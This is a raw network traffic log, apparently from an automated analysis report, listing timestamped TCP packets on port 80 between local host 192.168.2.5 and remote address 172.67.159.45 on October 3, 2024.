Oct 3, 2024 05:02:56.809859037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809864044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809884071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809886932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809905052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809928894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810058117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810072899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810098886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810118914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810120106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810139894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810139894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810157061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810162067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810175896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810184002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810209036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810216904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810233116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810245991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810264111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810269117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810290098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810292959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810312033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810333014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810340881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810354948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810358047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810376883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810399055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810398102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810417891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810419083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810441017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.810450077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810466051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.810488939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896193981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896255016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896287918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896308899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896330118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896349907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896372080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896392107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896410942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896435976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896459103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896502972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896523952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896542072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896543980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896544933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896544933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896569014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896589041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896615982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896625996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896625996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896625996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896637917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896661043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896661997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896661997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896681070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896683931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896701097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896706104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896722078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896728992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896748066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896753073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896780014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896774054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896796942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896810055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896815062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896833897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896847010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896872997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896872997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896893978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.896962881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.896981955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897006989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897027969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897049904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897069931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897090912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897119045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897140980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897161961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897212029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897221088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897221088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897221088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897221088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897222042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897222042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897222042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897222042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897247076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897269011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897289991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897308111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897308111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897308111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897308111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897308111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897313118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897336006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897356987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897361994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897361994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897381067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.897403002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897430897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.897996902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898032904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898056984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898073912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898101091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898124933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898158073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898180008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898185015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898185015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898185015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898185015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898185015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898185968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898200989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898233891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898253918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898279905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898279905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898279905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898279905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898279905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898303032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898308992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898324966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898329020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898348093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898349047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898369074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898370028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898392916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898403883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898408890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898423910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898436069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898442984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898464918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898468971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898492098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898493052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898511887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898516893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.898571014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.898571968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899378061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899442911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899450064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899468899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899487972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899497032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899513960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899517059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899537086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899538994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899561882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899563074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899581909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899584055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899607897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899610043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899627924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899630070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899648905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899655104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899679899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899705887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899708986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899708986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899724960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899733067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899744987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899761915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899763107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899771929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899794102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899801016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899816036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899821043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899837971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899841070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899863005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899876118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899888039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899897099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899924040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899944067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899945021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899944067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899965048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899966955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.899983883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.899986029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900005102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900012970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900029898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900034904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900048018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900057077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900078058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900095940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900409937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900429964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900454998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900471926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900485992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900492907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900506973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900510073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900533915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900535107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900552034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900557041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900576115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900578976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900604963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900604963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900624990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900626898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900650024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900650978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900670052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900671959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900693893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900696993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900712013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900717020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900737047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900738001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900755882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900755882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900779963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900783062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900801897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900804996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900818110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900821924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900846958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900862932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900870085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900882959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900892973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.900902033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900918007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900955915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.900996923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.901051998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990279913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990309954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990338087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990623951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990660906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990660906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990660906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990684032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990706921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990731955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.990736008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990736008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990736008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990766048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.990784883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991534948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991568089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991590023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991612911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991635084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991666079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991686106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991709948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991731882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991749048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991755962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991749048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991749048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991750002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991750002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991750002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991750002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991750002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991780996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991800070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991825104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991831064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991831064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991831064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991847038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.991859913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991880894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.991899014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992115021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992135048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992158890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992181063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992212057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992233038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992254972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992275953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992279053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992279053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992279053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992280006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992280006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992280006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992299080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992316008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992341042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992363930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.992366076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.992367029 CEST	49705	80	192.168.2.5	172.67.159.45
